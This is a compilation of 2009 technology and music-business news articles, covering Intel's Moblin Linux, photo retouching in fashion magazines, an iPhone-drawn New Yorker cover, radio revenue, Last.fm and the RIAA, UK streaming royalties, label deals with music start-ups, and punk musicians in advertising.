Microsoft warned Thursday that attackers are sending malicious QuickTime media files to victims, exploiting an unpatched flaw in Apple's media format, in order to install malicious software on Windows systems.

News of the FBI's webmail outage was first reported Friday by the New York Post, although other news outlets had reported last week that the FBI had been hit by the same virus that felled Windows systems within the U.S. Marshals.
http://www.pcworld.com/printable/art...printable.html





Intel Adopts an Identity in Software
Ashlee Vance

Intel has worked hard and spent a lot of money over the years to shape its image: It is the company that celebrates its quest to make computer chips ever smaller, faster and cheaper with a quick five-note jingle at the end of its commercials.

But as Intel tries to expand beyond the personal computer chip business, it is changing in subtle ways. For the first time, its long unheralded software developers, more than 3,000 of them, have stolen some of the spotlight from its hardware engineers. These programmers find themselves at the center of Intel’s forays into areas like mobile phones and video games.

The most attention-grabbing element of Intel’s software push is a version of the open-source Linux operating system called Moblin. It represents a direct assault on the Windows franchise of Microsoft, Intel’s longtime partner.

“This is a very determined, risky effort on Intel’s part,” said Mark Shuttleworth, the chief executive of Canonical, which makes another version of Linux called Ubuntu.

The Moblin software resembles Windows or Apple’s Mac OS X to a degree, handling the basic functions of running a computer. But it has a few twists as well that Intel says make it better suited for small mobile devices.

For example, Moblin fires up and reaches the Internet in about seven seconds, then displays a novel type of start-up screen. People will find their appointments listed on one side of the screen, along with their favorite programs. But the bulk of the screen is taken up by cartoonish icons that show things like social networking updates from friends, photos and recently used documents.

With animated icons and other quirky bits and pieces, Moblin looks like a fresh take on the operating system. Some companies hope it will give Microsoft a strong challenge in the market for the small, cheap laptops commonly known as netbooks. A polished second version of the software, which is in trials, should start appearing on a variety of netbooks this summer.

“We really view this as an opportunity and a game changer,” said Ronald W. Hovsepian, the chief executive of Novell, which plans to offer a customized version on Moblin to computer makers. Novell views Moblin as a way to extend its business selling software and services related to Linux.

While Moblin fits netbooks well today, it was built with smartphones in mind. Those smartphones explain why Intel was willing to needle Microsoft.

Intel has previously tried and failed to carve out a prominent stake in the market for chips used in smaller computing devices like phones. But the company says one of its newer chips, called Atom, will solve this riddle and help it compete against the likes of Texas Instruments and Qualcomm.

The low-power, low-cost Atom chip sits inside most of the netbooks sold today, and smartphones using the chip could start arriving in the next couple of years.

To make Atom a success, Intel plans to use software for leverage. Its needs Moblin because most of the cellphone software available today runs on chips whose architecture is different from Atom’s. To make Atom a worthwhile choice for phone makers, there must be a supply of good software that runs on it.

“The smartphone is certainly the end goal,” said Doug Fisher, a vice president in Intel’s software group. “It’s absolutely critical for the success of this product.”

Though large, Intel’s software group has remained out of the spotlight for years. Intel considers its software work a silent helping hand for computer makers.

Mostly, the group sells tools that help other software developers take advantage of features in Intel’s chips. It also offers free consulting services to help large companies wring the most performance out of their code, in a bid to sell more chips.

Renee J. James, Intel’s vice president in charge of software, explained, “You can’t just throw hardware out there into the world.”

Intel declines to disclose its revenue from these tools, but it is a tiny fraction of the close to $40 billion in sales Intel racks up every year.

Still, the software group is one of the largest at Intel and one of the largest such organizations at any company.

In the last few years, Intel’s investment in Linux, the main rival to Windows, has increased. Intel has hired some of the top Linux developers, including Alan Cox from Red Hat, the leading Linux seller, last year. Intel pays these developers to improve Linux as a whole and to further the company’s own projects like Moblin.

“Intel definitely ranks pretty highly when it comes to meaningful contributions,” Linus Torvalds, who created the core of Linux and maintains the software, wrote in an e-mail message. “They went from apparently not having much of a strategy at all to having a rather wide team.”

Intel has also bought software companies. Last year, it acquired OpenedHand, a company whose work has turned into the base of the new Moblin user interface.

It has also bought a handful of software companies with expertise in gaming and graphics technology. Such software is meant to create a foundation to support Intel’s release of new high-powered graphics chips next year. Intel hopes the graphics products will let it compete better against Nvidia and Advanced Micro Devices and open up another new business.

Intel tries to play down its competition with Microsoft. Since Moblin is open source, anyone can pick it up and use it. Companies like Novell will be the ones actually offering the software to PC makers, while Intel will stay in the background. Still, Ms. James says that Intel’s relationship with Microsoft has turned more prickly.

“It is not without its tense days,” she said.

Microsoft says Intel faces serious hurdles as it tries to stake a claim in the operating system market.

“I think it will introduce some challenges for them just based on our experience of having built operating systems for 25 years or so,” said James DeBragga, the general manager of Microsoft’s Windows consumer team.

While Linux started out as a popular choice on netbooks, Microsoft now dominates the market. Microsoft doubts whether something like Moblin’s glossy interface will be enough to woo consumers who are used to Windows.

Intel says people are ready for something new on mobile devices, which are geared more to the Internet than to running desktop-style programs.

“I am a risk taker,” Ms. James of Intel said. “I have that outlook that if there’s a possibility of doing something different, we should explore trying it.”
http://www.nytimes.com/2009/05/25/te...ng/25soft.html





Smile and Say ‘No Photoshop’
Eric Wilson

MOST readers of fashion magazines are aware that all photographs, at least to some degree, lie.

More often than not, images have been altered — historically with painstaking tricks of lighting and exposure and, more recently, with retouching software that can make celebrities and models look thinner, taller, unblemished, with brighter eyes and whiter teeth. Seemingly perfect. Advances in digital photography have made it so easy to manipulate photographs that cover models often resemble weirdly synthesized creatures or, as the photographer Peter Lindbergh described them this week, “objects from Mars.”
No one could reasonably argue that Gwyneth Paltrow’s skin is indeed made of Silly Putty, as it appeared to be on the May 2008 cover of Vogue, or that Jessica Simpson’s body comes with only one hip, though her left one was suspiciously missing on last September’s cover of Elle, or wonder how the shape of Reese Witherspoon’s chin, dimples and eye color could change so drastically from her angelic Marie Claire appearance in February 2008 to her polished Vogue cover in November to her kittenish Elle pose this April.

Some popular blogs have made a sport of identifying egregious cases of Photoshop abuse, but the degree to which changes are made is rarely disclosed (and usually only when a magazine is caught). But as retouching has become more blatant and bizarre, sometimes resulting in bodies that defy the natural boundaries of human anatomy, a debate over photo manipulation has spilled into public view, with Mr. Lindbergh, one of the world’s most famous image makers, leading the charge against the practice.

“My feeling is that for years now it has taken a much too big part in how women are being visually defined today,” Mr. Lindbergh said in an e-mail exchange. “Heartless retouching,” he wrote, “should not be the chosen tool to represent women in the beginning of this century.”

Last month, Mr. Lindbergh stirred the pot by creating a series of covers for French Elle that showed stars like Monica Bellucci, Eva Herzigova and Sophie Marceau without makeup or retouching. The issue struck a nerve with readers in France, where health officials were already campaigning for a measure to force magazines to note when and how images are altered. But editors of American publications, who last year resisted such a proposal within their trade group, the American Society of Magazine Editors, have also noted a backlash against images that appear manipulated to push an idealized standard of beauty.

It now seems fresh, even exclamation-worthy, when a magazine presents an unvarnished image. Last month, for example, an issue of Life & Style took the unusual step of declaring that a cover photograph of Kim Kardashian was “100 percent unretouched,” as if it had done a great service to the cause of pseudo-celebrity journalism. And People, in its “100 Most Beautiful” issue this month, included images of 11 celebrities “wearing nothing but moisturizer.”

“Fashion magazines are always about some element of fantasy,” said Cindi Leive, the editor of Glamour, “but what I’m hearing from readers lately is that in fashion, as in every other part of our lives right now, there is a hunger for authenticity. Artifice, in general, feels very five years ago.”

Oddly, so does this debate. It was in 2003 that one of the most famous retouching controversies arose when Kate Winslet asserted that the British edition of GQ had excessively altered a photograph of her to make her look thin. That episode was followed by many more: Andy Roddick’s enlarged biceps on the cover of Men’s Fitness, Katie Couric’s streamlined promotional photos and the slimming of Faith Hill in Redbook, the latter exposed in a 2007 competition by the fashion Web site Jezebel to uncover retouching sins. Glamour, too, has faced photo-tampering accusations, including a charge, which the magazine denied, that it digitally shrank the actress America Ferrera on the cover of an issue in 2007 dedicated to techniques for readers to flatter their figures.

And yet a raw-celebrity movement has been slow in coming. That may be because, as several editors said privately, celebrities’ publicists almost always demand retouching of wrinkles and visible cellulite. As a result, a celebrity can look different from one magazine to the next.

“There’s no question that images have been altered so significantly that, at times, it’s so apparent it’s transparent, actually,” said Dennis Freedman, the creative director of W, a magazine that intentionally features photographs of both extremes: Juergen Teller’s patently unretouched portraits on one hand and the digitally stylized work of Mert Alas and Marcus Piggott on the other.

“These are covers that look like Breck ads,” Mr. Freedman said. “But my question is, did they intend for them to look like Breck ads? Is there irony? Is there subversion? Because there is no question they are retouched beyond any possible reflection of what’s actually in front of the camera.”

The ethical issues of retouching have been discussed at least since the 1930s, when George Hurrell manipulated characteristics of Hollywood actresses in photographs to make them into icons of glamour. But technology has changed the scope of the debate, fueling a long-held criticism that magazines are promoting an unattainable standard of beauty.

In the early 1990s, as the first programs for digital manipulation came into use, some art directors began exploring the potential for creating images with a heightened sense of reality, actually as a reaction against the prevailing images of supermodels that looked too perfect. They were interested in creating images like those achieved through special effects in movies. Magazines like The Face championed a style coined by its art director, Lee Swillingham (now the creative director of Love), as “hyper real,” with photographs by Norbert Schoener, Inez van Lamsweerde and Mert and Marcus that seemed to share an affinity with Mannerist paintings. Models were presented as grandes odalisques, with impossibly long necks, or waists reduced to sizes against nature. They were not suggesting that the look should be attainable.

“We were trying to create a future fashion,” Mr. Swillingham said. “You could do something that looked gritty and real or something that looked like plastic.”

No one could have predicted how quickly that future would come. Suddenly, images could be changed even as they were being made, replacing backgrounds and filters with the touch of a button, turning night into day. It follows, then, that the next logical step in fashion would be a reaction against all that. For a coming issue of Love, Mr. Swillingham just commissioned a shoot where the brief to Glen Luchford, the photographer, was to make images that look like his early work in 35-millimeter film, using a digital camera to recreate a pre-digital style of photography. Some cutting-edge photographers now say that they, too, would like to see images that are more real.

“Anybody with a few days’ experience on Photoshop can drop in a new background or remove a pimple off a girl’s nose,” said Phil Poynter, who shoots campaigns for Tommy Hilfiger and editorials for Love and Pop. Still, he noted, “the big discussion in the fashion business has always been about should we retouch girls, should we create a portrait of a girl that is not achievable by a real girl.”

That issue came up in a revealing moment from the recent “60 Minutes” profile of the Vogue editor Anna Wintour — actually from an outtake of Morley Safer’s interview with her that was posted online — when she described an Irving Penn photograph, used to illustrate an article about the dangers of obesity, as one of the most beautiful ever to appear in her magazine. The starkly lighted image shows not a model in haute couture but an obese woman who is naked.

“It’s the kind of picture that really is going to make people stop and pay attention and have them just be provoked, which was really the point,” Ms. Wintour told Mr. Safer.

The implication here is that what can be considered a provocative image in a fashion magazine today is one that shows something real.

Undoubtedly, the most compelling photographs are ones that show real character, said Mr. Freedman of W. Nevertheless, he questions whether there will be a remarkable change as a result of the media attention following Mr. Lindbergh’s French Elle covers. Fashion magazines, to some extent, thrive as an escape from reality, a window to something that exists outside the ravages of time.

“I wonder how long that’s going to last,” he said. “It raises an interesting point, but that in and of itself becomes a kind of gimmick. I would not bet my life savings that it is something they are going to continue.”
http://www.nytimes.com/2009/05/28/fa...28RETOUCH.html





New Yorker Cover Art, Painted With an iPhone
Stephanie Clifford

Some people send text with their iPhones, and some play games. The artist Jorge Colombo created this week’s cover for The New Yorker with his.

Mr. Colombo drew the June 1 cover scene, of a late-night gathering around a 42nd Street hot dog stand, entirely with the iPhone application Brushes. Because of the smears and washes of color required by the inexact medium, it comes off as dreamy, not sharp and technological.

“The best feature of it is that it doesn’t feel like something that was done digitally; quite the opposite,” said Françoise Mouly, the art editor for The New Yorker. “All too often the technology is directed in only one direction, which is to make things more tight, and this, what he did very well, is use this technology for something that is free flowing, and I think that’s what makes it so poetic and magical.”

Mr. Colombo bought his iPhone in February, and the $4.99 Brushes application soon after, and said the portability and accessibility of the medium appealed to him. He began the scene by beginning with the buildings’ structure, then layering on the taxis, neon lights, hot-dog stand and people. (A video of the process is available at newyorker.com beginning on Monday.)

It “made it easy for me to sketch without having to carry all my pens and brushes and notepads with me, and I like the fact that I am drawing with a set of tools that anybody can have easily in their pocket,” he said. There is one other advantage of the phone, too: no one notices he is drawing. Mr. Colombo said he stood on 42nd Street for about an hour with no interruptions.

“It gives him an anonymity in the big city that an artist with the easel wouldn’t have,” Ms. Mouly said.

“Absolutely nobody can tell I am drawing,” Mr. Colombo said. “In fact, once I was doing the drawing at some place, and my wife was around, and they asked her why did I have to work so hard? I seemed to be always on my iPhone sending messages.”
http://www.nytimes.com/2009/05/25/bu.../25yorker.html





RAB: Radio Revenue Off 24% In Q1
FMQB

The Radio Advertising Bureau has released its report on the industry's first quarter, with all categories of ad revenue down double digits from a year ago, save digital revenue. Overall revenue for Q1 2009 was $3.43 billion, a 24 percent decline from a year ago.

Local revenue was off by 26 percent to $2.354 billion, while national revenue fell 27 percent to $473 million. Network ad revenue was down 13 percent to $238 million, with off-air revenue down 12 percent to $264 million. However, digital revenue grew by 13 percent to $101 million.

"Radio's digital platforms are experiencing the greatest growth and are reflective of the dollar shift from media to marketing by many of today's advertisers," stated Jeff Haley, RAB President/CEO. "As consumer and technological sophistication increases, advertisers will continue to support those platforms which appeal to their customers' increased on-demand behaviors -- and Radio is primed for it."

"In today's economy, consumers are looking to make every dollar count," Haley continued. "It's interesting to note that many advertisers who are tied-in to price and value are making use of Radio -- an economic yet effective vehicle to transmit their messages out to the buying public. As the economy begins to turn up, we should have numerous advertisers who've confirmed their trust in Radio as we've helped their businesses survive -- and even thrive -- through these times."

An in-depth breakdown of the first quarter's ad revenue can be read in PDF format here.
http://www.fmqb.com/article.asp?id=1335791





Last.fm’s User Data is Useless to the RIAA
Ernesto

In February TechCrunch rumored that Last.fm had ratted out its users to the RIAA. Now they have another source claiming data was shared with the music industry group, including IP addresses. Without going into the validity of these allegations, we’d like to point out that this data is completely useless to the RIAA, from a legal point of view.

riaa lastfmWith millions of active users, Last.fm is one of the largest and most appreciated music communities on the Internet. The company was acquired by CBS Interactive back in 2007, prompting some to speculate that this had led it to the darkside. The allegations reached a crescendo recently with claims that Last.fm shared the listening habits of its users with the RIAA. Last.fm has denied all allegations, but let’s assume for a moment that there’s some truth in them.

In their most recent writeup TechCrunch published new details which were provided by another source, and in the article they hint at the following doomsday scenario. “Their parent company [CBS] supplied user data to the RIAA, and that the data could possibly be used in civil and criminal actions against those users.” TechCrunch makes it sound really scary, but how useful is this data really in a court of law?

Let’s start with a little background. Last.fm’s data is provided by its users who report their recently listened-to songs to allow the site to track their listening habits. The data comes from the ID3 tags or similar metadata formats that MP3s and other digital music files carry. These list the artist name, title of the track, name of the album and more info related to the music file.

So what can the RIAA do with this data? Since the metadata doesn’t state that a track was pirated, only pre-release tracks that appear on Last.fm would be worth looking into. However, since the RIAA only have access to metadata reported to the site there is not much they can prove with it, even if they have access to Last.fm’s entire database.

The RIAA would only be able to check which IP addresses played a music file tagged as ‘track X’ by ‘artist Y’, but since everyone can easily edit these tags they can never really be certain that an individual was indeed in possession of the track, let alone that they shared it with others.

So, suggesting that the RIAA is going to use Last.fm’s data (if they indeed got their hands on it) to go after file-sharers is complete nonsense. As evidence, Last.fm’s data is not going to be worth much in court. In fact, there are plenty of better ways to track down copyright infringers and the RIAA is well aware of that. They are experts by now.

The only thing the RIAA has to do is hire someone to monitor various public BitTorrent trackers where the music is traded, and they can easily catch thousands of people in the act. The upside of this method is that they can verify that the person on the other end is actually sharing the data. Plus, they will know that the files are indeed the titles they are looking for.

The RIAA of course knows all of this, and if they indeed requested the data it was for purposes other than taking legal action. So, assuming that the RIAA was indeed requesting data from Last.fm, why would they want to know what music people are listening to on their computers?

Most likely the RIAA is interested in the business intelligence value of the data. For years record labels have been tailoring their music releases to the listening habits of ‘pirates’, and it is not unlikely that they are interested in Last.fm’s data for similar purposes. IP-addresses can come in handy here to spot some of the regional differences in popularity of artists or tracks.

Whatever their reasons are, dragging pirates to court is not likely to be one of them. Perhaps the TechCrunch tipster is an insider at one of the record labels who wants to scare the shit out of Last.fm’s users? Or has Michael Arrington himself been hired as one of the footsoldiers in the RIAA’s war on piracy? Who knows, but anything is more plausible than the RIAA taking people to court for reporting “copyright infringing” metadata to Last.fm.

Update: Apparently Last.fm’s official client also does fingerprinting as LANjackal points out. However, the ‘evidence’ would still be far from usable in court.
http://torrentfreak.com/lastfms-data...e-riaa-090523/





New Rate for Music Digital Stream
BBC

The music collection society - PRS - have unveiled a new pricing plan it hopes may entice YouTube and Pandora back to the UK market.

From 1 July 2009, firms will have to pay 0.085p for each track streamed, down from the previous rate of 0.22p.

PRS for Music say the new plan will "enable the digital market to grow".

Earlier this year, YouTube started removing premium music videos to UK users after failing to reach a new licensing agreement with the PRS.

Companies wishing to play or stream music over the internet are legally obliged to pay royalties to the artist, enshrined in the Copyright, Designs and Patents Act 1988.

However, many companies said the old rate was prohibitive.

The radio streaming service Pandora ended its UK stream at the start of 2008 and YouTube announced in March 2009 that it was removing all premium music videos to UK users after failing to reach a new licensing agreement with the PRS.

The PRS collected a record £117 million in the first three months of 2009.

Steve Purdham, head of the music streaming service We7, told BBC News he welcomed the new charges.

"It's brilliant. Not so much the rates but the realisation by the PRS that things have to change in the digital world.

"Till now it's felt like they were not listening," he said.

The PRS's managing director, Andrew Shaw, told the BBC that its hands had been somewhat tied by a previous tribunal ruling.

"You need to understand the background. In 2007 we published the proposed rates and there were a number of services who objected and so it went to the tribunal, who fixed the rates for a two year period.

"That said, we are not a commercial organisation; we're a not-for-profit organisation owned by its members and they control what we do," he said.

"Back then our members were uncertain whether streaming services were viable and had spent millions on a tribunal and, at the time, were not minded to throw it all away."

Mr Purdham said it remained to be seen if it would be enough to lure YouTube and Pandora back to the UK market.

"They [the PRS] are getting in touch with the reality of the digital world," he said.

"It's a big step and a good indicator that YouTube and Pandora may come back. The PRS have shown that it is no longer a one sided argument any more."

Mr Shaw said it was now down to firms to respond.

"We've laid our stall out and listened to everyone who would engage with us. We've consulted with the 25 firms that represent 97% of our revenue over the past six months and have been given opinions from many others.

"We need to ensure the music artists are paid for their work, but we also wanted to make sure that the framework was in place to enable the digital market to grow," he said.

YouTube issued a statement that said: "We welcome any efforts to make licensing costs more realistic, but as we're still in discussions with the PRS to agree license terms for YouTube we're unable to comment further."
http://news.bbc.co.uk/go/pr/fr/-/2/h...gy/8068154.stm





Music Labels Cut Friendlier Deals With Start-Ups
Brad Stone

With CD sales dropping fast, it is not hard to imagine how the major music labels could benefit from the growth of Web start-ups like Imeem. The company’s service lets people listen to songs, discover new artists and share their favorites with friends. And in return, Imeem owes the labels licensing fees for use of the music.

But two months ago, Imeem’s founder, Dalton Caldwell, was ready to pull the plug. While 26 million people a month were using the service, Imeem owed millions of dollars to the music labels, and income from advertising was nowhere close to covering expenses. “It reached a point where it was not even clear it was worth doing any more,” Mr. Caldwell said.

Then the ground shifted. This month, Warner Music Group forgave Imeem’s debt, and both Warner and Universal Music agreed to relax the terms of their licensing deals with the site. That allowed Imeem to raise more money from investors and plan for a profitable future.

Imeem’s amnesty is one sign that a new accommodation is being forged between Web music start-ups and the companies on which they are almost wholly dependent, the major music labels. The recording industry is considering an all-digital future in which it needs popular Web services like Imeem, both as sources of revenue and as supplements to older channels of promotion like radio and MTV.

As a result, music labels are now striking more favorable terms with Web companies, and the start-ups have come to realize they cannot rely on Web ads to support themselves. For example, as part of its new plan, Imeem will try to push users into buying more T-shirts and concert tickets, and will soon add its own MP3 download store similar to iTunes, sharing revenue with the labels.

It is not yet clear whether any of this is enough to produce sustainable online businesses — or even to help mitigate the chronic pain of the music industry. But it is offering some hope.

“We are trying to figure out how to restructure partnerships and develop a healthier ecosystem where entrepreneurs can continue to innovate,” said Michael Nash, executive vice president for digital strategy at Warner Music. “Entrepreneurs are also realizing they need to spend as much energy on their business model as they do on technological innovation.”

The changes stem from an unavoidable and unpleasant reality facing the music business: the economics of offering music free on the Web do not work. Companies like Imeem, striving to create an alternative to Apple’s dominant iTunes Store, signed complex deals with the labels that required them to pay large upfront fees and then small royalties — typically a penny or less — each time a song was played online. Advertising recouped only a fraction of that considerable expense.

As a result, the online music landscape is littered with the wreckage of failed or troubled music start-ups. SpiralFrog, a free music download service supported by advertising, went out of business in March, citing financial difficulties. And music executives have roundly expressed disappointment with the money trickling in from MySpace Music, their joint venture with the News Corporation, which started last year and was talked about as a savior for the music business.

For many digital music entrepreneurs, there is new hope that music labels will now give them room to experiment and perhaps succeed. Last fall, Lala, a Silicon Valley start-up, introduced a distinctive service that lets people listen to a song once at no charge. Then it costs 10 cents to stream that song repeatedly on the Web and up to 99 cents to download it.

Lala executives credit the labels’ cooperation in the unusual licensing arrangement and say they are selling hundreds of thousands of songs a month.

In April, the mobile phone operator Vodafone introduced a music service in Spain that gives subscribers unlimited access to a broad catalog of songs on their phones for 16 euros ($22) a month. The songs can be played on the phone or transferred to a computer. The service was possible only because the major music labels altered the underlying economics of their licensing deals, said Rob Glaser, chief executive of RealNetworks, which is supplying the music service.

“That flexibility wasn’t there in 2008 anywhere in the U.S. and Europe,” he said.

Napster, a pioneer in peer-to-peer music sharing that became a paid music service owned by the retailer Best Buy, reduced its subscription rate to $5 from $12.95 a month last week as a result of new deals with the labels, according to Chris Gorog, Napster’s chief executive.

Also last week, Pandora, the rapidly growing Web radio service, said it would increase the number of audio commercials on its free service and offer an ad-free version, Pandora One, for $36 a year. The founder, Tim Westergren, said he expected the company to reach profitability next year.

“There was a generation of Web companies that signed up for deals that didn’t make sense, and unfortunately they set a precedent,” Mr. Westergren said. “Now that those deals turned out to be unsustainable, it made the labels realize that there was actually not hidden money they were missing out on. I think labels have a much better understanding of the economics of the business.”

Another music start-up seeking to take advantage of the new environment, one that seems to be collecting ardent fans and skeptics in equal numbers, is Spotify, based in Stockholm.

The service, which requires iTunes-like software that people download to their PCs, offers millions of free songs, supported by copious advertising and opportunities to buy merchandise, downloads and tickets. (A premium version, without ads, costs around $15 a month.)

Spotify plans to enter the American market later this year, and its founder, Daniel Ek, says that the music labels have given the start-up flexibility because they are attracted to a service that, with its unlimited free music, could convert illegal downloaders into monetizable consumers of music. “This is what has been lacking for 10 years. The only way to beat piracy is by actually creating a legal service that is just as good,” Mr. Ek said.

Spotify will not discuss the details of its arrangements with the European divisions of the music companies, and many music entrepreneurs and observers question whether Spotify — and other digital music start-ups, for that matter — can build enduring businesses.

“Until we start seeing these guys living on their revenues, as opposed to their investment, we are not going to know how effective their business models are,” said Mike McGuire, an analyst at the research firm Gartner.

ILike, a Seattle company that bills itself as a music discovery engine for users of social networks, has actually turned away from offering free music online in recent months, and is instead focusing on helping bands forge connections with fans and developing tools like applications for the iPhone. Ali Partovi, iLike’s chief executive, is not sure labels and start-ups have found complete harmony yet.

“There is an ongoing tension between what consumers want and what music labels want,” Mr. Partovi said. “It’s hard to know what model will satisfy both, and what will work over the long run.”
http://www.nytimes.com/2009/05/28/te...s/28music.html





Rhapsody's Exclusive Ads Target Music Consumers
Antony Bruno

All the TV ads that came out in support of Green Day's new album, "21st Century Breakdown," featured the lead single "Know Your Enemy." But only one advertiser got exclusive footage of the band -- online music service Rhapsody.

While it isn't unusual for retailers and other partners to air ads featuring a song clip or music video when promoting a new release, it's rare for artists to film custom footage for them. But Rhapsody executives say the Green Day ad is just the first in what will be a series of TV spots featuring artists with new music coming out, about one every other month. Next on deck is Rob Thomas, with more to follow.

When the RealNetworks-owned Rhapsody and MTV's Urge music service merged to form what is now Rhapsody America, MTV committed $230 million in airtime for Rhapsody advertising on MTV Networks' channels. Rhapsody aims to leverage that commitment not only to advertise its service but to get what it really wants from each artist involved -- exclusive content. Green Day, for example, made "21st Century Breakdown" available for streaming on Rhapsody for a week before its May 15 release. The album also appeared on Rhapsody partner sites like MTV's the Leak.

Based on viewership data from the networks that aired the Green Day ad, Rhapsody estimates it reached close to 150 million viewers in the first two weeks while also generating 100,000 plays on MySpace and YouTube. The album debut set a new single-day traffic record for the Rhapsody home page, as well as a new streaming record for an album, with 430,000 streams in three days -- three times that of the previous recordholder, Lil Wayne's "Tha Carter III."

Two-Way Street

But artists and labels hoping for similar results should be aware that Rhapsody won't work with just anyone. The company expects artists and labels to support the ad campaign with links on their Web site, fan communication and any resources the label can bring to drive fans to Rhapsody.

"We want to make sure they're willing to commit themselves to the project," says David Krinsky, general manager of label relations for Rhapsody. "If an artist thinks we're just going to throw an ad at them, we're not that interested."

According to Peter Standish, senior vice president of marketing at Warner Bros./Reprise, Green Day's label, the key to Rhapsody's ability to maintain that stance is to create a good ad, which he says is exactly what happened in this case. As much as labels can use the free advertising, there's always a concern about how the act's image and music are used.

"You have to make sure the band is presented in a credible and favorable way," Standish says. "Not all impressions are created equal."

In this respect, Green Day seems to have found a workable model. The 30-second ad depicts the band members preparing to take the stage, with the lead track playing in the background. Scattered about backstage in the dressing room and on the path to the stage are more than 50 visual clues that reference past Green Day albums, videos and themes -- such as the grenade from "American Idiot" and the masked guys from "Basket Case" -- which Green Day and its management helped to select.

The next ads in the series will use much the same model.

The goal of the spots isn't to explain Rhapsody's subscription service -- something that's virtually impossible to do in 30 seconds. Instead, they serve two purposes: to promote the service as a way to acquire exclusive music and to let fans know where to find it.

Services like Rhapsody have struggled to communicate the benefits of the music "rental" model. By scoring exclusive streaming rights to hit songs, Rhapsody hopes to attract fans to its site, where it can make its case directly. The ability to do so will be especially important in the wake of rival Napster's launch of an aggressively priced $5-per-month streaming and download hybrid plan.

"It's a great driver to get people to come to our site, where we can better explain the value of subscription," Krinsky says. "These ads become a hook to tell that story."

While Apple pioneered the practice of trading exclusive content for advertising with such acts as Coldplay, Eminem and Bob Dylan, the company's ads lately seem to be more focused on iPhone apps than artists. That leaves an opening for Rhapsody to exploit.
(Editing by Sheri Linden at Reuters)
http://www.reuters.com/article/techn...54T05V20090530





God Save the Brand? Punk Musicians Power U.K. Ads
Mark Sutherland

Never mind the bullocks, indeed -- Johnny Rotten and some stampeding cows have started a rush toward punk advertising in the United Kingdom.

The Sex Pistols frontman, now known as John Lydon, stars in popular U.K. TV commercials for the butter brand Country Life. Dressed in country-gent tweeds, the one-time scourge of polite society is seen watching traditional English folk dancers, running from cows and declaring, "It's not about Great Britain -- it's about great butter!" with the gusto he once reserved for sneering "I am an anti-Christ/I am an anarchist."

On other British channels, punk forefather Iggy Pop stars in ads for the online car insurance brand Swiftcover in which the shirtless Stooges frontman declares: "You think I'm selling car insurance? I'm not -- I'm selling time!"

But he is selling car insurance -- and lots of it. Swiftcover says its first-quarter sales soared 31 percent over the same period last year, thanks to the ad. And Lydon has heated up butter sales -- Country Life parent company Dairy Crest credited that ad, which debuted on U.K. television October 1, 2008, with driving an 85 percent increase in sales by volume of its "spreadable" brands in fourth-quarter 2008.

"Punk doesn't mean what it meant 30 years ago," says Snowy Everitt, director of the London-based marketing agency Espionage, which specializes in putting brands and music together. "For most people in 2009, punk isn't about music, it's about attitude. Butter isn't fun, edgy, sexy or cool -- but, in times of economic crisis, advertisers need cut-through, and anything that gets you talked about is worth a punt."

Swiftcover marketing director Tina Shortle agrees, crediting Pop with helping the campaign -- which has a rate-card value of 25 million pounds ($38 million) -- "stand out in a cluttered market."

"We weren't too worried if the target audience didn't recognize Iggy as a celebrity," she says. "We just wanted someone renowned for having fun and enjoying life." Both campaigns also have attracted considerable media attention: Shortle says online searches for Swiftcover and Pop have increased 30 percent since the campaign started January 4, and Dairy Crest marketing director Paul Fraser says Country Life's "spontaneous awareness" rating more than doubled.

Rogue Factor

Fraser says the brand chose Lydon for his "British rogue" appeal, and the second phase of the campaign, which began May 15, stresses Country Life's use of British ingredients. "John's independent views are a huge part of his consumer appeal," he says. "And this has obviously struck a chord with our consumers."

Punk music-licensing deals are also on the rise, and in the fall an ad for the upmarket British supermarket Waitrose used the Stranglers hit "Golden Brown." Although it's one of the band's gentler tracks, it's a hymn to drug use -- a fact that Stranglers bassist and "Golden Brown" co-writer JJ Burnel feels may have escaped Waitrose.

"When our manager told us, I thought it was very funny," he says with a laugh. "My first reaction was: 'Are they advertising Christmas heroin or something?' I'd have thought everyone had guessed by now (what the song's about), but maybe not." Waitrose did not return calls for comment.

Martin Costello, a consultant to Universal Music Publishing Group, which now owns the Stranglers' publisher Complete Music Publishing, says the supermarket paid a "five-figure" sum for the song, and that demand for punk tracks on ads has been rising for the past six or seven years.

"It's because you now have creative heads at agencies that grew up with it," he says. Another Complete Music act, the Only Ones, enjoyed a career revival after the mobile company Vodafone ran an ad that used "Another Girl, Another Planet."

Burnel says the Waitrose deal didn't do much for the Stranglers, other than provide a payday. "I don't think it sold an extra download or tickets for shows," he says. "It was just a business decision made on our behalf and in our interests -- I don't think it has any association with the Stranglers other than they used a recording made by us 30 years ago."

Lydon's and Pop's links with the products they're pushing, however, are more explicit. The Swiftcover ads attracted criticism from musicians -- and, ultimately, censure from Britain's Advertising Standards Authority -- when it was discovered that the company didn't insure musicians. (It has since reversed that policy.) "It hasn't damaged the campaign," Shortle says. "It's given us greater prominence."

So will other old punks climb on the bandwagon? Will the Buzzcocks advertise baked beans or Sham 69 turn up flogging fish fingers?

"I wouldn't be surprised if more brands looking to get cut-through go for rebellious figures," Everitt says. "If it works, why not try it?"

(Editing by Sheri Linden at Reuters)
http://www.reuters.com/article/enter...54T06Y20090530





Dolores O'Riordan Sheds 'Baggage' For Zoë/Rounder Debut
Michael D. Ayers

Best known for her work with Irish rock act the Cranberries, vocalist Dolores O'Riordan has inked with Rounder Records' rock imprint Zoë for her second solo record. Entitled "No Baggage," the 11 song set is due August 25 with O'Riordan co-producing along side Dan Brodbeck, who she worked with on "Are You Listening?," her 2007 solo debut. For "No Baggage," O'Riordan was in the studio from January 2008 through May 2008, a process that she describes as "very spontaneous" and "probably the quickest" she's worked.

The Cranberries have been on an indefinite hiatus since 2003, and O'Riordan has used the time to slowly develop new music, a pace that's much more her to her liking. "I decided to give up music for awhile -- not be in a band, not be on a label, and not be in a box," O'Riordan tells Billboard.com. "You get all this adoration, but you don't know how to take it when you're young. This is something I'm doing for myself. It challenges me. And it's made me more in touch with myself, the reason that I'm here. I don't have any of that pressure. It's totally a hobby for me; for a long time, [music] became a job."

"No Baggage" is described by O'Riordan as a very personal album, one that she says was driven by the desire to "make peace" with herself. "I wanted to address everything and not hide anything. I think for a long time, I closed up and became introverted. As human beings, we're always looking forward and always looking back. It's hard to live in the present."

Alongside 10,000 Maniacs and Mazzy Star, O'Riordan and the Cranberries rose to prominence seemingly overnight during the explosion of alternative rock in the Nineties. The Cranberries had wildly successful singles, including "Linger," "Dreams," and "Zombie." On "No Baggage," the driving rock of "Be Careful" and lead single "The Journey" seem to reference her quick ascent to the top of the female rock-act chain and subsequent years.

